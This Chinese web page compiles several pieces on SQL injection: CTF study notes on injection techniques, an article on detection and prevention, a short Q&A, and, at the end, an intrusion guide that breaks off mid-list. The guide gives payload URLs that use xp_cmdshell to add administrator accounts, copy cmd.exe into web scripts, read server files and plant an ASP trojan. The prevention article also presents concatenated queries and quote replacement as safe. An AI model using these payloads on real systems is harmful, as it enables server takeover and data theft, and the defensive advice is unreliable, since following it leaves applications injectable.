1or11sql注入
⑴ 部分sql注入总结
本人ctf选手一名,在最近做练习时遇到了一些sql注入的题目,但是sql注入一直是我的弱项之一,所以写一篇总结记录一下最近学到的一些sql注入漏洞的利用。
在可以联合查询的题目中,一般会将数据库查询的数据回显到首页面中,这是联合注入的前提。
适用于有回显同时数据库软件版本是5.0以上的MYSQL数据库,因为MYSQL会有一个系统数据库information_schema, information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等
联合注入的过程:
判断注入点可以用and 1=1/and 1=2用于判断注入点
当注入类型为数字型时返回页面会不同,但都能正常执行。
sql注入通常为数字型注入和字符型注入:
1、数字型注入
数字型语句:
在这种情况下直接使用and 1=1/and 1=2是都可以正常执行的但是返回的界面是不一样的
2、字符型注入
字符型语句:
字符型语句输入我们的输入会被一对单引号或这双引号闭合起来。
所以如果我们同样输入and 1=1/and 1=2会发现回显画面是并无不同的。
在我们传入and 1=1/and 1=2时语句变为
传入的东西变成了字符串并不会被当做命令。
所以字符型的测试方法最简单的就是加上单引号 ' ,出现报错。
加上注释符--后正常回显界面。
这里还有的点就是sql语句的闭合也是有时候不同的,下面是一些常见的
这一步可以用到order by函数,order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字 段名还可以指定字段的栏位进行排序,第一个查询字段为1,第二个为2,依次类推,所以可以利用order by就可以判断列数。
以字符型注入为例:
在列数存在时会正常回显
但是列数不存在时就会报错
这步就说明了为什么是联合注入了,用到了UNION,UNION的作用是将两个select查询结果合并
但是程序在展示数据的时候通常只会取结果集的第一行数据,这就让联合注入有了利用的点。
当我们查询的第一行是不存在的时候就会回显第二行给我们。
讲查询的数据置为-1,那第一行的数据为空,第二行自然就变为了第一行
在这个基础上进行注入
可以发现2,3都为可以利用的显示点。
和前面一样利用union select,加上group_concat()一次性显示。
现在非常多的Web程序没有正常的错误回显,这样就需要我们利用报错注入的方式来进行SQL注入了
报错注入的利用步骤和联合注入一致,只是利用函数不同。
以updatexml为例。
UpdateXML(xml_target, xpath_expr, new_xml)
xml_target: 需要操作的xml片段
xpath_expr: 需要更新的xml路径(Xpath格式)
new_xml: 更新后的内容
此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。
这个函数当xpath路径错误时就会报错,而且会将路径内容返回,这就能在报错内容中看到我们想要的内容。
而且以~开头的内容不是xml格式的语法,那就可以用concat函数拼接~使其报错,当然只要是不符合格式的都可以使其报错。
[极客大挑战 2019]HardSQL
登录界面尝试注入,测试后发现是单引号字符型注入,且对union和空格进行了过滤,不能用到联合注入,但是有错误信息回显,说明可以使用报错注入。
利用updatexml函数的报错原理进行注入在路径处利用concat函数拼接~和我们的注入语句
发现xpath错误并执行sql语句将错误返回。
在进行爆表这一步发现了等号也被过滤,但是可以用到like代替等号。
爆字段
爆数据
这里就出现了问题flag是不完整的,因为updatexml能查询字符串的最大长度为32,所以这里要用到left函数和right函数进行读取
报错注入有很多函数可以用不止updatexml一种,以下三种也是常用函数:
堆叠注入就是多条语句一同执行。
原理就是mysql_multi_query() 支持多条sql语句同时执行,用;分隔,成堆的执行sql语句。
比如
在权限足够的情况下甚至可以对数据库进行增删改查。但是堆叠注入的限制是很大的。但是与union联合执行不同的是它可以同时执行无数条语句而且是任何sql语句。而union执行的语句是有限的。
[强网杯 2019]随便注
判断完注入类型后尝试联合注入,发现select被过滤,且正则不区分大小写过滤。
那么就用堆叠注入,使用show就可以不用select了。
接下去获取表信息和字段信息
那一串数字十分可疑大概率flag就在里面,查看一下
这里的表名要加上反单引号,是数据库的引用符。
发现flag,但是没办法直接读取。再读取words,发现里面有个id字段,猜测数据库语句为
结合1'or 1=1#可以读取全部数据可以利用改名的方法把修改1919810931114514为words,flag修改为id,就可以把flag读取了。
最终payload:
盲注需要掌握的几个函数
在网页屏蔽了错误信息时就只能通过网页返回True或者False判断,本质上是一种暴力破解,这就是布尔盲注的利用点。
首先,判断注入点和注入类型是一样的。
但是盲注没有判断列数这一步和判断显示位这两步,这是和可回显注入的不同。
判断完注入类型后就要判断数据库的长度,这里就用到了length函数。
以[WUSTCTF2020]颜值成绩查询为例
输入参数后,发现url处有个get传入的stunum
然后用到length函数测试是否有注入点。
发现页面有明显变化
将传入变为
页面回显此学生不存在
那么就可以得出数据库名长度为3
测试发现过滤了空格
然后就是要查数据库名了,这里有两种方法
一、只用substr函数,直接对比
这种方法在写脚本时可以用于直接遍历。
二、加上ascii函数
这个payload在写脚本时直接遍历同样可以,也可用于二分法查找,二分法速度更快。
接下来的步骤就和联合注入一样,只不过使用substr函数一个一个截取字符逐个判断。但是这种盲注手工一个一个注十分麻烦所以要用到脚本。
直接遍历脚本
二分法脚本
时间盲注用于代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息
语句执行后也不提示真假,我们不能通过页面的内容来判断
所以有布尔盲注就必有时间盲注,但有时间盲注不一定有布尔盲注
时间盲注主要是利用sleep函数让网页的响应时间不同从而实现注入。
sql-lab-less8:
无论输入什么都只会回显一个you are in...,这就是时间盲注的特点。
当正常输入?id=1时时间为11毫秒
判断为单引号字符型注入后,插入sleep语句
明显发现响应时间为3053毫秒。
利用时间的不同就可以利用脚本跑出数据库,后续步骤和布尔盲注一致。
爆库
爆表
爆字段
脚本
在进行SQL注入时,发现union,and,or被完全过滤掉了,就可以考虑使用异或注入
什么是异或呢
异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空
即 1^1=0,0^0=0,1^0=1
利用这个原理可以在union,and,or都被过滤的情况下实现注入
[极客大挑战 2019]FinalSQL
给了五个选项但是都没什么用,在点击后都会在url处出现?id。
而且union,and,or都被过滤
测试发现?id=1^1会报错
但是?id=1^0会返回?id=1的页面,这就是前面说的原理,当1^0时是等于1的所以返回?id=1的页面。
根据原理写出payload,进而写出脚本。
爆库
爆表
爆字段
据此可以写出基于异或的布尔盲注脚本
实验推荐:课程:SQL注入初级(合天网安实验室)
⑵ 如何防范SQL注入漏洞及检测
以下是OMG我为大家收集整理的文章,希望对大家有所帮助。
SQL注入(SQLInjection)漏洞攻击是目前网上最流行最热门的黑客脚本攻击方法之一,那什么是SQL注入漏洞攻击呢?它是指黑客利用一些Web应用程序(如:网站、论坛、留言本、文章发布系统等)中某些存在不安全代码或SQL语句不缜密的页面,精心构造SQL语句,把非法的SQL语句指令转译到系统实际SQL语句中并执行它,以获取用户名、口令等敏感信息,从而达到控制主机服务器的攻击方法。
1. SQL注入漏洞攻击原理
1. 1 SQL注入漏洞攻击实现原理
SQL(Structured Query Language)是一种用来和数据库交互的语言文本。SQL注入的攻击原理就是攻击者通过Web应用程序利用SQL语句或字符串将非法的数据插入到服务器端数据库中,获取数据库的管理用户权限,然后将数据库管理用户权限提升至操作系统管理用户权限,控制服务器操作系统,获取重要信息及机密文件。
SQL注入漏洞攻击主要是通过借助于HDSI、NBSI和Domain等SQL注入漏洞扫描工具扫描出Web页面中存在的SQL注入漏洞,从而定位SQL注入点,通过执行非法的SQL语句或字符串达到入侵者想要的操作。下面以一段身份验证的.NET代码为例,说明一下SQL 注入攻击的实现方法。
SqlConnectionnwConn = new SqlConnection((string)ConfigurationSettings.AppSettings["DBconnStrings"]); string queryStr = "SELECT userid,userpwd, username,type FROM users where userid='" + Txtusername.Text +"'";
DataSet userSet = new DataSet();
SqlDataAdapter userAdapter = newSqlDataAdapter(queryStr, nwConn);
userAdapter.Fill(userSet, "Users");
Session["UserID"] =Txtusername.Text.ToString();
Session["type"] =type.Text.ToString();
Response.Redirect("/Myweb/admin/login.aspx");
从上面的代码中可以看出,程序在与数据库建立连接得到用户数据之后,直接将username的值通过session传给login.aspx,没有进行任何的过滤和处理措施, 直接用来构造SQL 语句, 其危险系数是非常高的, 攻击者只要根据SQL 语句的编写规则就可以绕过身份验证,从而达到入侵的目的。
1. 2 SQL注入漏洞攻击分析
SQL注入可以说是一种漏洞,也可以说是一种攻击。当程序中的变量处理不当,没有对用户提交的数据类型进行校验,编写不安全的代码,构造非法的SQL语句或字符串,都可能产生这个漏洞。
例如Web系统有一个login页面,这个login页面控制着用户是否有权访问,要求用户输入一个用户名和口令,连接数据库的语句为:
“select * from users where username = 'username' andpassword = 'password'”
攻击者输入用户名为aa or 1=1口令为1234 or 1=1之类的内容。我们可以看出实际上攻击者并不知道真正的用户名、口令,该内容提交给服务器之后,服务器执行攻击者构造出的SQL命令,但由于攻击者输入的内容非常特殊,所以最后得到的SQL命令变成:
“select * from users where username = 'aa' or 1=1 andpassword = '1234' or 1=1”
服务器执行查询或存储过程,将用户输入的身份信息和数据库users表中真实的身份信息进行核对,由于SQL命令实际上已被修改,存在永远成立的1=1条件,因此已经不能真正验证用户身份,所以系统会错误地授权攻击者访问。
SQL 注入是通过目标服务器的80端口进行的,是正常的Web访问,防火墙不会对这种攻击发出警告或拦截。当Web服务器以普通用户的身份访问数据库时,利用SQL注入漏洞就可能进行创建、删除、修改数据库中所有数据的非法操作。而当数据库以管理用户权限的身份进行登录时,就可能控制整个数据库服务器。
SQL注入的方法很多,在以手动方式进行攻击时需要构造各种各样的SQL语句,所以一般攻击者需要丰富的经验和耐心,才能绕过检测和处理,提交语句,从而获得想要的有用信息。这个过程需要花费很多的时间,如果以这种手动方式进行SQL注入漏洞攻击,许多存在SQL注入漏洞的ASP、JSP、php、java等网站就会安全很多了,不是漏洞不存在了,而是手动入侵者需要编程基础,但现在攻击者可以利用一些现成的黑客工具来辅助SQL注入漏洞攻击,加快入侵的速度,使SQL注入变得轻而易举。
由于SQL注入漏洞攻击利用的是通用的SQL语法,使得这种攻击具有广泛性。理论上说,对于所有基于SQL语言的数据库管理系统都是有效的,包括MSSQLServer、Oracle、DB2、Sybase和MySQL等。当然,各种系统自身的SQL扩展功能会有所不同,因此最终的攻击代码可能不尽相同。
1. 3 SQL注入漏洞攻击过程
(1)绕过身份验证
如一个login界面,需要输入用户名和口令,然后Post到另一个页面,进行身份验证,因此攻击者只需在用户名和口令的输入框中都输入aa or’1’=’1’的内容,那么攻击者就可以通过欺骗的验证方式而直接进入下一个页面,并拥有和正常登录用户一样的全部特权。原因是什么呢? 我们比较一下正常用户登录和攻击者登录时的两种SQL语句:
1)正常用户(如用户名为admin,口令为1234567) :
SQL= " selectfrom users where username = ’admin’and password= ’1234567’ ";
2)攻击者(用户名和口令都为aa or’1’=’1’) :
SQL= " select * from users where username='aa or’1’=’1’'and password = ' aa or’1’=’1’'";
可以看到由and连接的两个条件都被一个永远成立的1=1所代替,执行的结果为true,数据库会认为条件恒成立,会返回一个true,让攻击者以合法身份登录进入下一个页面。
(2)执行非法操作
如一个查询页面select1.asp? id=1,编程人员原本设计意图是显示id为1的查询信息,而攻击者利用程序中没有对id内容进行检查的机制,插入自己的代码。
从select1.asp中摘录一段关键代码:
SQL= " select *from photo where photoid= 'id'";
可以看到,id没有进行任何的处理,直接构成SQL语句并执行,而攻击者在知道该系统数据库中表名及字段名的情况下,利用SQL语句特性(分号是将两句SQL 语句分开的符号),直接向数据库Tuser表中添加记录:
select1.asp? id= 1;Insertinto Tuser (username,password,type) values ('hack','1234567','管理员'),然后攻击者就可以直接用hack进行登录了。通过这样的方法,攻击者还可以对系统做任何的事情,包括添加、删除、修改系统资源的操作。
(3)执行系统命令
如果Web主机使用MSSQL数据库管理系统,那么攻击者就可以用到xp_cmdshell这个扩展存储过程,xp_cmdshell是一个非常有用的扩展存储过程,用于执行系统命令,比如dir、net等,攻击者可以根据程序的不同,提交不同的语句:
execmaster.dbo.xp_cmdshell " dir "; exec master.dbo.xp_cmdshell" net user hack 1234567 /add ";
execmaster.dbo.xp_cmdshell " net localgroup administrators hack /add ";
这样就可以向Web主机系统中成功添加了一个管理员帐户。
2. SQL注入漏洞攻击的检测方式及方法
2. 1检测方式
SQL注入漏洞攻击检测分为入侵前的检测和入侵后的检测。入侵前的检测,可以通过手工方式,也可以使用SQL注入漏洞扫描工具软件。检测的目的是为预防SQL注入漏洞攻击,而对于SQL注入漏洞攻击后的检测,主要是针对审计日志的查看,SQL注入漏洞攻击成功后,会在Web Service和数据库的审计日志中留下“痕迹”。
2. 2检测方法
(1)动态SQL检查
动态的SQL语句是一个进行数据库查询的强大的工具,但把它和用户输入混合在一起就使SQL注入成为了可能。将动态的SQL语句替换成预编译的SQL或者存储过程对大多数应用程序是可行的。预编译的SQL或者存储过程可以将用户的输入作为参数而不是命令来执行,这样就限制了入侵者的行动。当然,它不适用于存储过程中利用用户输入来生成SQL命令的情况。在这种情况下,用户输入的SQL命令仍可能得到执行,数据库仍然存在SQL注入漏洞攻击的危险。
(2)有效性校验
如果一个输入框只可能包括数字,那么要通过验证确保用户输入的都是数字。如果可以接受字母,检查是不是存在不可接受的字符,那就需要设置字符串检查功能。确保应用程序要检查以下字符:分号、等号、破折号、括号以及SQL关键字。
(3)数据表检查
使用SQL注入漏洞攻击工具软件进行SQL注入漏洞攻击后,都会在数据库中生成一些临时表。通过查看数据库中最近新建的表的结构和内容,可以判断是否曾经发生过SQL注入漏洞攻击。
(4)审计日志检查
在Web服务器中如果启用了审计日志功能,则Web Service审计日志会记录访问者的IP地址、访问时间、访问文件等信息,SQL注入漏洞攻击往往会大量访问某一个页面文件(存在SQL注入点的动态网页),审计日志文件会急剧增加,通过查看审计日志文件的大小以及审计日志文件中的内容,可以判断是否发生过SQL注入漏洞攻击事件;另外还可以通过查看数据库审计日志,查询某个时间段是否有非法的插入、修改、删除操作。
(5)其他
SQL注入漏洞攻击成功后,入侵者往往会添加特权用户(如:administrator、root、sa等)、开放非法的远程服务以及安装木马后门程序等,可以通过查看用户帐户列表、远程服务开启情况、系统最近日期产生的一些文件等信息来判断是否发生过入侵。
3. SQL注入漏洞防范措施
SQL注入漏洞攻击的防范方法有很多种,现阶段总结起来有以下方法:
(1)数据有效性校验。如果一个输入框只可能包括数字,那么要通过校验确保用户输入的都是数字。如果可以接受字母,那就要检查是不是存在不可接受的字符,最好的方法是增加字符复杂度自动验证功能。确保应用程序要检查以下字符:分号、等号、破折号、括号以及SQL关键字。另外限制表单数据输入和查询字符串输入的长度也是一个好方法。如果用户的登录名最多只有10个字符,那么不要认可表单中输入10个以上的字符,这将大大增加攻击者在SQL命令中插入有害代码的难度。
(2)封装数据信息。对客户端提交的数据进行封装,不要将数据直接存入cookie中,方法就是在编程的代码中,插入session、if、try、else,这样可以有效地防止攻击者获取cookie中的重要信息。
(3)去除代码中的敏感信息。将在代码中存在的用户名、口令信息等敏感字段删除,替换成输入框。
SQL=" select from users where username = ’admin’and password= ’1234567’ "
如:这样显然会暴露管理员的用户名、口令信息。可以将其修改成:
SQL= " select * from users where username='" +Txtuser.Text + "' and userpwd='" + Textpwd.Text + "'"
这样就安全了很多,入侵者也是不会轻易的就获取到用户名、口令信息。
(4)替换或删除单引号。使用双引号替换掉所有用户输入的单引号,这个简单的预防措施将在很大程度上预防SQL注入漏洞攻击,单引号时常会无法约束插入数据的Value,可能给予输入者不必要的权限。用双引号替换掉单引号可以使大部分SQL注入漏洞攻击失败。 如:
“select* from users where username='" + admin + "' and userpwd='" + 1234567+ "'”
显然会得到与
“select * from users where username='admin' and password= '1234567'”
相同的结果。
(5)指定错误返回页面。攻击者有时从客户端尝试提交有害代码和攻击字符串,根据Web Service给出的错误提示信息来收集程序及服务器的信息,从而获取想得到的资料。应在Web Service中指定一个不包含任何信息的错误提示页面。
(6)限制SQL字符串连接的配置文件。使用SQL变量,因为变量不是可以执行的脚本,即在Web页面中将连接数据库的SQL字符串替换成指定的Value,然后将Web.config文件进行加密,拒绝访问。
(7)设置Web目录的访问权限。将虚拟站点的文件目录禁止游客用户(如:Guest用户等)访问,将User用户权限修改成只读权限,切勿将管理权限的用户添加到访问列表。
(8)最小服务原则。Web服务器应以最小权限进行配置,只提供Web服务,这样可以有效地阻止系统的危险命令,如ftp、cmd、vbscript等。
(9)鉴别信息加密存储。将保存在数据库users表中的用户名、口令信息以密文形式保存,也可以对users表进行加密处理,这样可以大大增加对鉴别信息访问的安全级别。
(10)用户权限分离。应尽可能的禁止或删除数据库中sa权限用户的访问,对不同的数据库划分不同的用户权限,这样不同的用户只能对授权给自己的数据库执行查询、插入、更新、删除操作,就可以防止不同用户对非授权的数据库进行访问。
4. 结束语
SQL注入漏洞攻击在网上非常普遍,许多ASP、PHP论坛和文章管理系统、下载系统以及新闻系统都存在这个漏洞。造成SQL注入漏洞攻击的主要原因是开发人员在系统开发的过程中编程不规范,没有形成良好的编程习惯,问题的解决只有依赖于规范编程。此外,也可以使用现有的SQL注入漏洞扫描器对整个网站中的关键代码进行扫描,查找网站页面中存在的SQL注入点。对于有问题的页面,可以及时删除或更新。本文通过对SQL注入漏洞攻击的方法、原理以及攻击实施过程进行了阐述和总结,并给出了一些常见的SQL注入漏洞攻击防范的方法。
⑶ 什么是sql注入,怎么防止注入
sql注入其实就是在这些不安全控件内输入sql或其他数据库的一些语句,从而达到欺骗服务器执行恶意到吗影响到数据库的数据。防止sql注入,可以在接受不安全空间的内容时过滤掉接受字符串内的“'”,那么他不再是一条sql语句,而是一个类似sql语句的zifuc,执行后也不会对数据库有破坏。
如:
username = request("username") //获取用户名 这里是通过URL传值获取的。
password = request("password") //获取密码 也是通过URL传值获取的。
sql="select * from userlist where username = '" & username & "' and password = '" & password & "'"--------如果某个人知道某个用户名是admin,常常有人网站的管理员用户名就是admin,这是密码可以选用'or 1 or ',
那么sql="select * from userlist where username = 'admin' and password = '' or 1 or ''",显然1是恒真的,那么验证密码就通过了。
防止的方式比较多,比如可以限制username,password中出现"'"这些字符,一般网站都是只允许数字,字符,下划线的组合,这可以通过javascript验证。也可以采取用存储过程代替sql拼接,等等。
⑷ 关于SQL注入
<二>SQL注入思路
思路最重要。其实好多人都不知道SQL到底能做什么呢?这里总结一下SQL注入入侵的总体的思路:
1. SQL注入漏洞的判断,即寻找注入点
2. 判断后台数据库类型
3. 确定XP_CMDSHELL可执行情况;若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过几种方法完全控制,也就完成了整个注入过程,否则继续:
1. 发现WEB虚拟目录
2. 上传ASP木马;
3. 得到管理员权限
具体步骤:
一、SQL注入漏洞的判断
如果以前没玩过注入,请把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。
为了把问题说明清楚,以下以http://www.163.com/news.asp?id=xx(这个地址是假想的),为例进行分析,xx可能是整型,也有可能是字符串。
1、整型参数的判断
当输入的参数xx为整型时,通常news.asp中SQL语句原貌大致如下:
select * from 表名 where 字段=xx,所以可以用以下步骤测试SQL注入是否存在。
最简单的判断方法
http://www.163.com/news.asp?id=xx’(附加一个单引号),
此时news.asp中的SQL语句变成了
select * from 表名 where 字段=xx’,
如果程序没有过滤好“’”的话,就会提示 news.asp运行异常;但这样的方法虽然很简单,但并不是最好的,因为:
first,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。
second,目前大多数程序员已经将“’“ 过滤掉,所以用” ’”测试不到注入点,所以一般使用经典的1=1和1=2测试方法,见下文:
http://www.163.com/news.asp?id=xx and 1=1, news.asp运行正常,
而且与http://www.163.com/news.asp?id=xx运行结果相同;
http://www.163.com/news.asp?id=xx and 1=2, news.asp运行异常;(这就是经典的 1=1 1=2 判断方法)
如果以上面满足,news.asp中就会存在SQL注入漏洞,反之则可能不能注入。
2、字符串型参数的判断
方法与数值型参数判断方法基本相同
当输入的参数xx为字符串时,通常news.asp中SQL语句原貌大致如下:
select * from 表名 where 字段='xx',所以可以用以下步骤测试SQL注入是否存在。
http://www.163.com/news.asp?id=xx’(附加一个单引号),此时news.asp中的SQL语句变成了
select * from 表名 where 字段=xx’,news.asp运行异常;
http://www.163.com/news.asp?id=xx and '1'='1', news.asp运行正常,
而且与http://www.163.com/news.asp?id=xx运行结果相同;
http://www.163.com/news.asp?id=xx and '1'='2', news.asp运行异常;
如果以上满足,则news.asp存在SQL注入漏洞,反之则不能注入
3、特殊情况的处理
有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。
①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;
②UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息参见附件一;
③ASCII码法:可以把输入的部分或全部字符全部
<4>出了上述方法以外,还有个更简单的方法就是使用现成的工具像NB联盟的NBSI就是一款很不错的工具,目前最新的版本为2.2
二、判断数据库类型
不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。
怎么让程序告诉你它使用的什么数据库呢?来看看:
SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:
http://www.163.com/news.asp?id=xx;and user>0
这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。 顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。
如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和 SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。
在确认可以注入的情况下,使用下面的语句:
http://www.163.com/news.asp?id=xx ;and (select count(*) from sysobjects)>0
http://www.163.com/news.asp?id=xx ;and (select count(*) from msysobjects)>0
如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.163.com/news.asp?id=xx是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。
如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。
三、确定XP_CMDSHELL可执行情况
若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过以下几种方法完全控制,以后的所有步骤都可以省
1、http://www.163.com/news.asp?id=xx and user>;0 news.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。
2、http://www.163.com/news.asp?id=xx and db_name()>0 news.asp执行异常但可以得到当前连接的数据库名。
3、http://www.163.com/news.asp?id=xx;exec master..xp_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主数据
库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;“—”号是注解,表示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。
4、http://www.163.com/news.asp?id=xx;exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把刚刚增加
的帐户aaa加到administrators组中。
5、http://www.163.com/news.asp?id=xx;backuup database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容
全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。
6、通过复制CMD创建UNICODE漏洞
http://www.163.com/news.asp?id=xx;exec master.dbo.xp_cmdshell “ c:\winnt\system32\cmd.exe
c:\inetpub\scripts\cmd.exe” 便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。
这样你就成功的完成了一次SQL注入攻击,先别兴奋,在实践时你就会发现这比理论要难的多会有更多的困难等着你come over ,下面GO ON如果上述条件不成立则需继续奋斗(要挂马了:))
GO ON~!
当上述条件不成立时就要继续下面的步骤
(一)、发现WEB虚拟目录
只有找到WEB虚拟目录,才能确定放置ASP木马的位置,进而得到USER权限。有两种方法比较有效。
一是根据经验猜解,一般来说,WEB虚拟目录是:c:\inetpub\wwwroot;
D:\inetpub\wwwroot; E:\inetpub\wwwroot等,而可执行虚拟目录是:
c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。
二是遍历系统的目录结构,分析结果并发现WEB虚拟目录;
先创建一个临时表:temp
http://www.163.com/news.asp?id=xx;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3
nvarchar(255));--
接下来:
1 我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:
http://www.163.com/news.asp?id=xx;insert temp exec master.dbo.xp_availablemedia;--
我们可以通过查询temp的内容来获得驱动器列表及相关信息
2 我们可以利用xp_subdirs获得子目录列表,并存入temp表中:
http://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
3 我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:
http://www.163.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
这样就可以成功的浏览到所有的目录(文件夹)列表:
如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:
http://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如:bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'
浏览temp就可以看到index.asp文件的内容了!通过分析各种ASP文件,可以得到大量系统信息,WEB建设与管理信息,甚至可以得到SA帐号的连接密码。
当然,如果xp_cmshell能够执行,我们可以用它来完成:
http://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
http://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--
通过xp_cmdshell我们可以看到所有想看到的,包括W3svc
http://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'cscript
C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'
但是,如果不是SA权限,我们还可以使用
http://www.163.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
注意:
1、以上每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:
http://www.163.com/news.asp?id=xx;delete from temp;--
2、浏览TEMP表的方法是:(假设TestDB是当前连接的数据库名)
http://www.163.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0
得到表TEMP中第一条记录id字段的值,并与整数进行比较,显然news.asp工作异常,但在异常中却可以发现id字段的值。假设发现的表名是xyz,则
http://www.163.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0 where id not in('xyz'))>0
得到表TEMP中第二条记录id字段的值。
(二)、上传ASP木马
所谓ASP木马,就是一段有特殊功能的ASP代码,并放入WEB虚拟目录的Scripts下,远程客户通过IE就可执行它,进而得到系统的USER权限,实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法:
1、利用WEB的远程管理功能
许多WEB站点,为了维护的方便,都提供了远程管理的功能;也有不少WEB站点,其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制,都有一个网页,要求用户名与密码,只有输入了正确的值,才能进行下一步的操作,可以实现对WEB的管理,如上传、下载文件,目录浏览、修改配置等。
因此,若获取正确的用户名与密码,不仅可以上传ASP木马,有时甚至能够直接得到USER权限而浏览系统,上一步的“发现WEB虚拟目录”的复杂操作都可省略。
用户名及密码一般存放在一张表中,发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。
A、 注入法:
从理论上说,认证网页中会有型如:
select * from admin where username='XXX' and password='YYY' 的语句,若在正式运行此句之前,没有进行必要的字符过滤,则很容易实施SQL注入。
如在用户名文本框内输入:abc’ or 1=1-- 在密码框内输入:123 则SQL语句变成:
select * from admin where username='abc’ or 1=1 and password='123’
不管用户输入任何用户名与密码,此语句永远都能正确执行,用户轻易骗过系统,获取合法身份。
B、猜解法:
基本思路是:猜解所有数据库名称,猜出库中的每张表名,分析可能是存放用户名与密码的表名,猜出表中的每个字段名,猜出表中的每条记录内容。
a 猜解所有数据库名称
http://www.163.com/news.asp?id=xx and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0
因为dbid的值从1到5,是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1 (name字段是一个字符型的字段和数字比较会出错),news.asp工作异常,可得到第一个数据库名,同理把DBID分别改成7,8,9,10,11,12…就可得到所有数据库名。
以下假设得到的数据库名是TestDB。
b 猜解数据库中用户名表的名称
猜解法:此方法就是根据个人的经验猜表名,一般来说,
user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,
